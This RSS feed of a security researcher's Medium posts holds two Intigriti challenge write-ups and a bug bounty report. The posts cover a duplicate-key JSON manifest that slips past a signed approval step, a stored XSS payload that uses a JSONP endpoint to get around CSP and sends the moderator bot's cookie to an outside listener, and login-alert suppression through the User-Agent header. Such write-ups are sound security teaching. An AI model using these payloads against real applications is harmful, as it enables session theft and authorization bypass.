<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by luq0x on Medium]]></title>
        <description><![CDATA[Stories by luq0x on Medium]]></description>
        <link>https://medium.com/@luq0x?source=rss-bf2ef54493c3------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*PRlu8sc69YSm45utRdmbCA.jpeg</url>
            <title>Stories by luq0x on Medium</title>
            <link>https://medium.com/@luq0x?source=rss-bf2ef54493c3------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 02 Dec 2026 10:03:03 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@luq0x/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Intigriti Challenge 0726 — Parser Differential on the Registry Observatory]]></title>
            <link>https://medium.com/@luq0x/intigriti-challenge-0726-parser-differential-on-the-registry-observatory-b891863633c3?source=rss-bf2ef54493c3------2</link>
            <guid isPermaLink="false">https://medium.com/p/b891863633c3</guid>
            <dc:creator><![CDATA[luq0x]]></dc:creator>
            <pubDate>Tue, 04 Aug 2026 23:20:22 GMT</pubDate>
            <atom:updated>2026-08-05T01:26:07.387Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tJ38T_9G7MlJA-_pbf8l_A.png" /></figure><p>After so many Intigriti challenges built around XSS (DOMPurify, DOM clobbering, CSP bypass, and so on), I walked into this one expecting more of the same. And that’s exactly what I spent the first few minutes doing: hunting for dangerous reflections, an innerHTML sink, some way to dirty up the client-side parser. Only this time there was none of that to find...</p><p>This write-up is about the Registry Observatory, a package registry, a three-stage approval pipeline, and the uncomfortable discovery that two readers of the same file can disagree about what that file says, even when the hash matches.</p><h3>1. The scenario: a registry with an approval queue</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ONrXxZfAyv6ZCOGLQwNVgw.png" /><figcaption>Registry Observatory — Homepage</figcaption></figure><p>The application is a private package registry. You register an account, get your own namespace, and can publish packages inside it, but publishing isn’t direct. There’s a three-step flow:</p><ul><li><strong>POST /api/manifests/preview</strong>: validates the schema and scope of the manifest you want to publish.</li><li><strong>POST /api/manifests/sign</strong>: actually validates and <strong>signs</strong> the manifest: computes sha256(manifest_bytes), generates a nonce, an expiration, and returns a signature over that set.</li><li><strong>POST /api/publications</strong>: receives the manifest again, along with the approval (approval_id, manifest_sha256, nonce, expires_at, signature), <strong>verifies the signature</strong>, and only then generates the publication report, which becomes accessible later via GET /api/publications/&lt;PUB_ID&gt;.</li></ul><p>And the detail that sets the tone for the challenge: there’s an @core namespace, maintained by the platform itself, that /api/manifests/sign <strong>explicitly refuses</strong> to approve. One of the packages in there, @core/security-notes, holds the flag in a release_notes field of the report.</p><p>Putting the pieces together:</p><blockquote><em>I need the server to generate a publication report for </em><em>@core/security-notes, a namespace the validator refuses to approve, without ever getting a legitimate approval for it.</em></blockquote><p>My first read of the surface was overly optimistic: “great, there’s a cryptographic signature covering the manifest, that should close off any tampering after approval.” That confidence is exactly what slowed me down.</p><h3>2. Ruling out the client before touching the backend</h3><p>Since I walked in addicted to hunting for XSS: I opened the app’s JS bundle and checked how every report field gets rendered. Everything goes through plain JSX children, no dangerouslySetInnerHTML, no dynamic href/src sink, no reading of location/hash/postMessage. React escapes everything by default, and the app doesn&#39;t carve out an exception anywhere.</p><p>In other words: even if I managed to inject something malicious into a report field, there’s nowhere for it to execute on the client. If the attack exists, it has to be born and die on the server.</p><h3>3. Mapping the pipeline</h3><p>Before trying to break anything, I wanted to see the expected behavior with my own eyes. I registered an account, grabbed the session and CSRF token, and put together a completely harmless manifest, my own namespace, some arbitrary package:</p><pre>{<br>  &quot;package&quot;: { &quot;scope&quot;: &quot;&lt;my-namespace&gt;&quot;, &quot;name&quot;: &quot;hello-world&quot;, &quot;version&quot;: &quot;1.0.0&quot; },<br>  &quot;metadata&quot;: { &quot;description&quot;: &quot;test&quot;, &quot;visibility&quot;: &quot;private&quot; },<br>  &quot;operation&quot;: &quot;preflight&quot;<br>}</pre><p>I ran this manifest through the three pipeline stages, one at a time, just watching what each stage returned:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Vd5tbAykK6pBr7CaUV4ghQ.png" /><figcaption>Lazy flow table rendered in Claude</figcaption></figure><p>Nothing weird here: it’s literally the app’s “happy path.” But it already pinned down something important: <strong>three separate stages, each processing the same manifest again.</strong> Hold on to that detail, because that’s exactly where things go sideways later.</p><h3>4. First attempt: just swap the scope</h3><p>The obvious first move: I swapped scope straight to core in the manifest going to /manifests/preview.</p><pre>&quot;Manifest could not be previewed.&quot;</pre><p>Blocked outright. scope is checked server-side. The right question becomes: <strong>what exactly is checked, and what slips through?</strong></p><h3>5. Figuring out what’s actually validated</h3><p>I tested field by field, starting with the real baseline and then changing one at a time: name, version, operation, visibility, scope (including a case-only variation).</p><p>name and version accept anything. operation, visibility and scope are checked strictly: any deviation drops with a 400. Scope authorization itself is correct; the attack won&#39;t get through there directly.</p><p>I also tried using the free-form name field for some kind of path traversal (../core/security-notes, encoded slash, @core/security-notes as a literal value), but everything got rejected by a separate format check. And using security-notes alone, no slash, under my own scope, just returned a report saying the package didn&#39;t exist in my namespace.</p><p>Dead ends, but worth ruling out.</p><h3>6. Trusting the signature too much</h3><p>Switching hypotheses: maybe the attack isn’t forging an approval, but reusing one. I signed a legitimate manifest and, when publishing, tried swapping the manifest while keeping the old signature.</p><pre>{ <br>  &quot;error&quot;: &quot;Publication approval is invalid.&quot; <br>}</pre><p>Tried again, recomputing the correct hash for the forged manifest, but keeping the old signature/nonce/approval_id.</p><pre>{ <br>  &quot;error&quot;: &quot;Publication approval is invalid.&quot;<br>}</pre><p>Nothing stuck: the signature is genuinely tied to a specific digest. I spent more time on this line than I should have, because I’d mentally translated “signed” into “safe” without questioning the premise.</p><h3>7. A report that gives away its own mechanics</h3><p>I ran the full flow for the packages that already came with my account, just to rule out a hypothesis. Two of them came back with generic text. The third one didn’t: its release_notes described, in changelog-style language, that the report is built by reconstructing the manifest from what was stored, not from what was originally approved.</p><p>That’s basically the app admitting: the approval stage and the report-generation stage aren’t necessarily looking at the same data. If they reconstruct the manifest differently, you can get them to disagree about which package is actually in play.</p><h3>8. The key that shows up twice</h3><p>I tried building the manifest as a <strong>hand-written text string</strong>, not as a JavaScript object, because a JS object doesn’t allow a real duplicate key (the second occurrence overwrites the first before it ever becomes JSON).</p><pre>{<br>  &quot;package&quot;: { &quot;scope&quot;: &quot;&lt;my-namespace&gt;&quot;, &quot;name&quot;: &quot;hello-world&quot;, &quot;version&quot;: &quot;1.0.0&quot; },<br>  &quot;package&quot;: { &quot;scope&quot;: &quot;core&quot;, &quot;name&quot;: &quot;security-notes&quot;, &quot;version&quot;: &quot;1.0.0&quot; },<br>  &quot;metadata&quot;: { &quot;description&quot;: &quot;compat check&quot;, &quot;visibility&quot;: &quot;private&quot; },<br>  &quot;operation&quot;: &quot;preflight&quot;<br>}</pre><p>Sent it to /manifests/sign: <strong>approved</strong>. The approval stage read the first occurrence, saw my namespace, and signed without ever looking at the second object.</p><h3>What is duplicate-key parsing confusion?</h3><p>A JSON document with a repeated key at the same level is ambiguous by specification: RFC 8259 doesn’t define which reading is valid, only implementation conventions. It becomes a security flaw when the same document passes through two stages that resolve that ambiguity differently, and one of them authorizes something the other executes. One stage decides “this is safe” based on one reading; the other decides “I’ll execute this” based on a different one; and nothing catches the divergence because the integrity check between the two operates on raw bytes, not on the already-parsed structure.</p><p>It’s a cousin of the same bug family behind HTTP request smuggling or WAF bypasses. The generic name is <em>parser differential</em>.</p><h3>9. Pinpointing exactly where the gap lives</h3><p>To understand the bug’s boundaries, I tested finer variations than just “duplicate the whole package”:</p><ul><li>Duplicating only scope <strong>inside a single</strong> package object: rejected. The validator clearly inspects package.scopedirectly, so a second occurrence in there doesn&#39;t slip past it.</li><li>Duplicating only name, keeping a single scope: passed validation, and the final report used the <strong>last</strong> value of name. That confirmed the report generator is last-wins, even without touching scope.</li><li>Duplicating the <strong>whole</strong> package object: the only case where a second, completely different scope slips past the validator unnoticed, because it only examines the first object of the pair.</li></ul><p>I also tested whether it was possible to sidestep a naive string-based filter: writing the key as \u0070ackage (a Unicode escape for package) instead of the literal. It worked the same way: both sides decode the escape identically, which rules out the idea that the difference was just a poorly implemented string check. The divergence really is about duplicate-key precedence, not about recognizing the literal text &quot;package&quot;.</p><p>A few negative controls helped confirm the mechanics: reversing the order (core first, my namespace second), the approval gets rejected right away, which proves the validator really does read the first occurrence. And using a genuinely different key (not a real collision) doesn&#39;t reproduce the behavior, which shows this isn&#39;t &quot;any extra object wins,&quot; it&#39;s specifically a key collision.</p><h3>10. The exploit</h3><p><strong>Step 1: register an account and grab session + CSRF token.</strong></p><pre>POST /api/register HTTP/1.1<br>Host: challenge.intigriti.io<br>Content-Type: application/json<br><br>{<br>  &quot;username&quot;: &quot;luq0x&quot;,<br>  &quot;password&quot;: &quot;123456&quot;<br>}</pre><p><strong>Step 2: build the ambiguous manifest</strong>, my namespace first, core last, and base64-encode it:</p><pre>{<br>  &quot;package&quot;: { &quot;scope&quot;: &quot;&lt;my-namespace&gt;&quot;, &quot;name&quot;: &quot;hello-world&quot;, &quot;version&quot;: &quot;1.0.0&quot; },<br>  &quot;package&quot;: { &quot;scope&quot;: &quot;core&quot;, &quot;name&quot;: &quot;security-notes&quot;, &quot;version&quot;: &quot;1.0.0&quot; },<br>  &quot;metadata&quot;: { &quot;description&quot;: &quot;Compatibility check&quot;, &quot;visibility&quot;: &quot;private&quot; },<br>  &quot;operation&quot;: &quot;preflight&quot;<br>}</pre><p><strong>Step 3: sign it.</strong> The validator reads the first occurrence of package, sees only my scope, approves it:</p><pre>POST /api/manifests/sign HTTP/1.1<br>Host: challenge.intigriti.io<br>Cookie: session=&lt;SESSION&gt;<br>X-Csrf-Token: &lt;CSRF&gt;<br>Content-Type: application/json<br><br>{ <br>  &quot;manifest_b64&quot;: &quot;&lt;MANIFEST_BASE64&gt;&quot; <br>}</pre><p>Response 201 with approval_id, manifest_sha256, nonce, expires_at, signature.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SmZqzKN0QXBwF54X2QmaOg.png" /><figcaption>Step 3 — Manifest Sign</figcaption></figure><p><strong>Step 4: publish the same bytes with the approval attached.</strong> The signature verifies because the bytes haven’t changed; only their interpretation changes in the next stage:</p><pre>POST /api/publications HTTP/1.1<br>Host: challenge.intigriti.io<br>Cookie: session=&lt;SESSION&gt;<br>X-Csrf-Token: &lt;CSRF&gt;<br>Content-Type: application/json<br><br>{<br>  &quot;manifest_b64&quot;: &quot;&lt;SAME_MANIFEST_BASE64&gt;&quot;,<br>  &quot;approval_id&quot;: &quot;&lt;approval_id&gt;&quot;,<br>  &quot;manifest_sha256&quot;: &quot;&lt;manifest_sha256&gt;&quot;,<br>  &quot;nonce&quot;: &quot;&lt;nonce&gt;&quot;,<br>  &quot;expires_at&quot;: &lt;expires_at&gt;,<br>  &quot;signature&quot;: &quot;&lt;signature&gt;&quot;<br>}</pre><p>The report generator reparses the same bytes, resolves package as <strong>last-wins</strong>, and builds the report for @core/security-notes, using an approval that never covered that scope.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FBrmKrH7hVpMpmqB0dqnBQ.png" /><figcaption>Step 4 — Publish</figcaption></figure><p><strong>Step 5: read the report:</strong></p><pre>GET /api/publications/&lt;PUB_ID&gt; HTTP/1.1<br>Host: challenge.intigriti.io<br>Cookie: session=&lt;SESSION&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NeUt24Ivae_TnjTwVCfuuw.png" /><figcaption>Step 5 — Read</figcaption></figure><p>After running it, the protected report shows up right in the UI, in the publication history, alongside my regular reports.</p><p>To confirm this wasn’t an isolated case tied only to that specific component, I repeated the attack targeting a second restricted target inside the core namespace, and it worked the same way, just swapping the second package object. This isn&#39;t a one-off flaw in a single package; it&#39;s the entire approval mechanism disagreeing with itself, for any pair of scopes.</p><h3>11. Why it works</h3><p>The cryptographic integrity itself was correct, and it was insufficient anyway. The manifest’s hash is verified against the decoded bytes with no shortcut, which blocks any attempt to alter the document after it’s signed. What the signature can’t block is two consumers reaching different conclusions about a document that wasn’t altered, just ambiguous by nature.</p><p>The ambiguity lives in the JSON specification, not in an implementation bug: a duplicate key is a gray area the RFC leaves open on purpose. The design flaw was letting that gray area cross the boundary between the stage that approves and the stage that acts, without normalizing the document first. The fix would be to canonicalize the manifest before signing, and have the report generator reparse that same canonical form, not the raw text all over again.</p><p>The signature was right the whole time. The bug was the parser disagreeing with it about what was actually in there.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b891863633c3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Intigriti Challenge 0226 — Stored XSS via CSP Bypass on the InkDrop Platform]]></title>
            <link>https://medium.com/@luq0x/intigriti-challenge-0226-stored-xss-via-csp-bypass-on-the-inkdrop-platform-750c010a88c4?source=rss-bf2ef54493c3------2</link>
            <guid isPermaLink="false">https://medium.com/p/750c010a88c4</guid>
            <dc:creator><![CDATA[luq0x]]></dc:creator>
            <pubDate>Wed, 25 Feb 2026 01:44:15 GMT</pubDate>
            <atom:updated>2026-02-25T01:57:34.211Z</atom:updated>
            <content:encoded><![CDATA[<p>This is the write-up for Intigriti’s Challenge #0226, a monthly challenge where the goal is to exploit a real vulnerability in a controlled environment and capture the flag.</p><p>The target application is called InkDrop, a post creation and sharing platform with Markdown support.</p><h3>The Challenge</h3><p>The challenge was to <strong>identify and exploit a Stored XSS vulnerability</strong> on the InkDrop platform to exfiltrate a flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/680/0*Yowslzjk8j1PD4Go" /></figure><p><strong>Relevant Information</strong></p><ul><li><strong>Target:</strong> challenge-0226.intigriti.io</li><li><strong>Scope:</strong> Web Application</li><li><strong>Source code:</strong> <a href="https://challenge-0226.intigriti.io/static/source.zip">https://challenge-0226.intigriti.io/static/source.zip</a></li></ul><h3>What is Stored Cross-Site Scripting (XSS)?</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/786/1*1O6Djm1xJ-gUkB9f82wp0g.png" /><figcaption>Figure 1: Cross-Site Scripting</figcaption></figure><p><strong>Stored Cross-Site Scripting (XSS)</strong> is a <strong>type of injection attack where malicious JavaScript is injected into a website</strong>. When a user visits the affected web page, the JavaScript executes within that user’s browser in the context of this domain. Stored XSS can be found on this domain which allows an attacker to control code that is executed within a user’s browser.</p><p>From here, <strong>an attacker could carry out any actions that the user is able to perform, including accessing any of the user’s data and modifying information within the user’s permissions</strong>. This can <strong>result in modification, deletion, or theft of data, including accessing or deleting files, or stealing session cookies</strong> which an attacker could use to hijack a user’s session.</p><h3>Let’s do it!</h3><p>Starting the <strong>analysis directly from the source code</strong>, three things immediately stood out:</p><ol><li>A preview.js file responsible for <strong>fetching and rendering post content</strong> via API.</li><li>A /api/jsonp endpoint that accepted a callback parameter and <strong>reflected its value directly in the response</strong>.</li><li>A <strong><em>Content Security Policy (CSP)</em></strong> enforced on the post viewing page.</li></ol><p>Let’s break each of these down.</p><h4><strong>Insecure Sink: preview.js</strong></h4><p>The application uses preview.js to fetch and render posts. The content returned by the API is injected directly into the DOM via innerHTML, which opens the door for malicious HTML tag insertion.</p><blockquote>fetch(‘/api/render?id=’ + postId)<br> .then(response =&gt; response.json())<br> .then(data =&gt; {<br> const preview = document.getElementById(‘preview’);<br> preview.innerHTML = data.html; <br> processContent(preview);<br> });</blockquote><p>Although innerHTML does not execute &lt;script&gt; tags directly upon insertion, the processContent function called right after does exactly that manually.</p><h4>Client-Side Filter: preview.js</h4><p>The processContent function iterates over all injected &lt;script&gt; tags and re-executes them if the src attribute contains the string /api/:</p><blockquote>function processContent(container) {<br> const scripts = container.querySelectorAll(‘script’);<br> scripts.forEach(function(script) {<br> if (script.src &amp;&amp; script.src.includes(‘/api/’)) { <br> const newScript = document.createElement(‘script’);<br> newScript.src = script.src;<br> document.body.appendChild(newScript);<br> }<br> });<br>}</blockquote><p>The problem is obvious: .includes(&#39;/api/&#39;) <strong>only checks for the existence of that substring anywhere in the URL</strong>. Nothing stops an attacker from simply appending `&amp;/api/` as a parameter at the end of the URL to satisfy this check.</p><h4>CSP Bypass via JSONP Gadget</h4><p>The application enforces the following CSP:</p><blockquote>default-src ‘self’; script-src ‘self’; style-src ‘self’ ‘unsafe-inline’;</blockquote><p>Withscript-src &#39;self&#39;<strong>loading scripts from external domains is not possible</strong>. However, the /api/jsonp endpoint <strong>hosted on the same origin reflects any value passed</strong> in the callback parameter directly into the response:</p><blockquote>GET /api/jsonp?callback=alert(document.domain)</blockquote><p>Since the script is served from the same domain, it fully satisfies the CSP’s &#39;self&#39; restriction. This pattern is known as a <strong><em>Script Gadget</em></strong> a <strong>legitimate endpoint within the application being abused to execute arbitrary code</strong>.</p><h3>Exploiting</h3><p>Connecting the three points above, the payload looked like this:</p><blockquote>&lt;script src=”/api/jsonp?callback=alert(document.domain)//&amp;/api/”&gt;&lt;/script&gt;</blockquote><p>To reproduce:</p><ol><li>Access the InkDrop platform and navigate to the post creation section (/post/new).</li></ol><p>2. Insert the following payload into the content field:</p><blockquote>&lt;script src=”/api/jsonp?callback=fetch(‘<a href="https://[SEU_LISTENER]/&#39;.concat(document.cookie))//&amp;/api/">https://[OAST]/&#39;.concat(document.domain))//&amp;/api/</a>&quot;&gt;&lt;/script&gt;</blockquote><figure><img alt="Figure 2: Creation of a new post with the XSS payload in the content field." src="https://cdn-images-1.medium.com/max/1024/0*OKzFvhMwnOWCz4Q9" /><figcaption>Figure 2: Creation of a new post with the XSS payload in the content field.</figcaption></figure><p>Publish the post and the JavaScript code <strong>will be stored in the application</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*FcD6UU1ewmCPy8Mc" /><figcaption>Figure 3: Execution of the injected JavaScript (alert) upon viewing the malicious post.</figcaption></figure><p>The attack flow, <strong>summarized</strong>:</p><blockquote>1. Attacker creates a post with the payload in the content field<br>2. Post is saved to the database → Stored XSS <br>3. Victim visits the post<br>4. preview.js injects the HTML via innerHTML<br>5. processContent detects the &lt;script&gt; tag with /api/ in the `src`<br>6. Script is re-executed → browser makes GET /api/jsonp?callback=…<br>7. Server reflects the code → same origin, CSP satisfied <br>8. Code executes in the victim’s browser context</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*4pG8kTEQcr4huy6E" /><figcaption>Figure 4: Burp Suite intercept showing the reflected XSS payload via the /api/jsonp gadget.</figcaption></figure><h3>Capturing the Flag</h3><p>Time for the ultimate goal: <strong>capturing the flag</strong>.</p><p>On the post page, the platform has a <em>“</em><strong><em>Report to Moderator</em></strong><em>”</em> feature that sends the post to an InkDrop moderator for review.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*wFQdeI9Y13ChJlfQ" /><figcaption>Figure 5: Report to Moderator feature.</figcaption></figure><p><strong>The perfect scenario for cookie exfiltration.</strong></p><p>By <strong>tweaking the payload and repeating the full attack flow</strong>, the following code was stored:</p><blockquote>&lt;script src=”/api/jsonp?callback=fetch(‘<a href="https://seu-listener/&#39;.concat(document.cookie))//&amp;/api/">https://OAST/&#39;.concat(document.cookie))//&amp;/api/</a>&quot;&gt;&lt;/script&gt;</blockquote><p>After reporting the post to the moderator, I noticed an <strong>interaction on my OAST server</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Ek0fZn0FXQ7KwzDF" /><figcaption>Figure 6: OAST listener showing the successful exfiltration of the cookie containing the flag.</figcaption></figure><p>The InkDrop bot visited the post, the script executed, and arrived the <strong>cookie (containing the flag)</strong>.</p><p>🚩 <strong>BOOM! Flag captured.</strong></p><p>Ultimately, this challenge highlights how a basic Stored XSS can escalate into a full-scale exfiltration attack even under ‘robust’ conditions. By weaponizing a legitimate internal API as a Script Gadget, we demonstrated that no matter how strict a CSP is, its integrity depends entirely on the security of the endpoints it trusts.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=750c010a88c4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[$500 Bounty: How a Logic Flaw Allowed Silent Logins in a Financial Application]]></title>
            <link>https://medium.com/@luq0x/how-a-logic-flaw-allowed-silent-logins-in-a-financial-application-5eed48939018?source=rss-bf2ef54493c3------2</link>
            <guid isPermaLink="false">https://medium.com/p/5eed48939018</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[offensive-security]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[luq0x]]></dc:creator>
            <pubDate>Mon, 18 Aug 2025 00:33:37 GMT</pubDate>
            <atom:updated>2025-08-18T00:38:40.428Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello, hackers!</p><p>In this write-up, I’m going to present a <strong>Business Logic Flaw + Insecure Design</strong> report submitted to a Bug Bounty program that allowed a <strong>Silent Login</strong> to any user account on the platform.</p><p>On this particular day, I was looking for a public Bug Bounty program on Intigriti that offered good rewards for reported vulnerabilities.</p><p>I came across a <strong>financial services company’s program</strong> that paid a very decent range for any severity. However, while analyzing the program, I noticed it was an older program on the platform with only <strong>500 submissions sent and just 45 accepted</strong>, which made me a bit discouraged and question whether it was a good target for a beginner in Bug Hunting. Still, I didn’t give up and began exploring the program’s scope.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*haGZfm_R94uNaRG-zdit2Q.gif" /></figure><p>I created an account on the web application and then authenticated myself. Once logged in, I received a notification, which essentially was a <strong>security alert from the company</strong>, notifying the user whenever a new session was started in their account. But something caught my attention in this notification: the authentication request details, such as time and browser.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/270/1*u_cF3RkljdwcQHwzDrKtAw.png" /></figure><p>I noticed that the server obtained the browser name from the main authentication request and included it in the notification message. This immediately made me think of a potential injection vector in this field.</p><blockquote>POST /oauth2/token/ HTTP/1.1<br>Host: api.redacted.com<br>User-Agent: luq0x<br>…</blockquote><p>After performing the first injection test in the request field, I noticed that the server <strong>stopped notifying the user</strong> about the initiated session.</p><p>I quickly realized that the server received these requests with the session’s User-Agent and compared it against a list of known browsers. If the server didn’t recognize the browser, it simply stopped sending notifications. Digging deeper, I confirmed that the system also <strong>stopped sending email notifications</strong>, which <strong>completely broke the account’s security alert logic</strong>.</p><p>And voilà! We had found a vulnerability!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*RALrx_29_Kqr_Jh2iY0viQ.gif" /></figure><p>Basically, this security flaw opened the door for a “<strong>stealth login</strong>” scenario: an attacker with valid credentials could log in to a <strong>victim’s account</strong> <strong>without triggering any security alerts</strong>.</p><p>I quickly produced a PoC for this finding and submitted a report to the company’s program. After 6 days in triage, my submission was accepted, and I received a reward of <strong>$500</strong> for this finding.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/517/1*ciDLknI2VDBzL0zTNJJiig.png" /></figure><p>This case reinforces the importance of <strong>thinking beyond traditional technical vulnerabilities</strong> and paying attention to the <strong>business logic</strong> of applications.</p><p>A simple absence of security notifications creates an opportunity for a real attack, especially when we’re talking about a platform that directly handles <strong>investments and real money</strong>.</p><p>If you enjoyed this write-up, follow me here and connect with me on LinkedIn: <a href="https://www.linkedin.com/in/lucas-goncalo-de-morais/">https://www.linkedin.com/in/lucas-goncalo-de-morais/</a></p><p>See you soon! Cheers!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5eed48939018" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>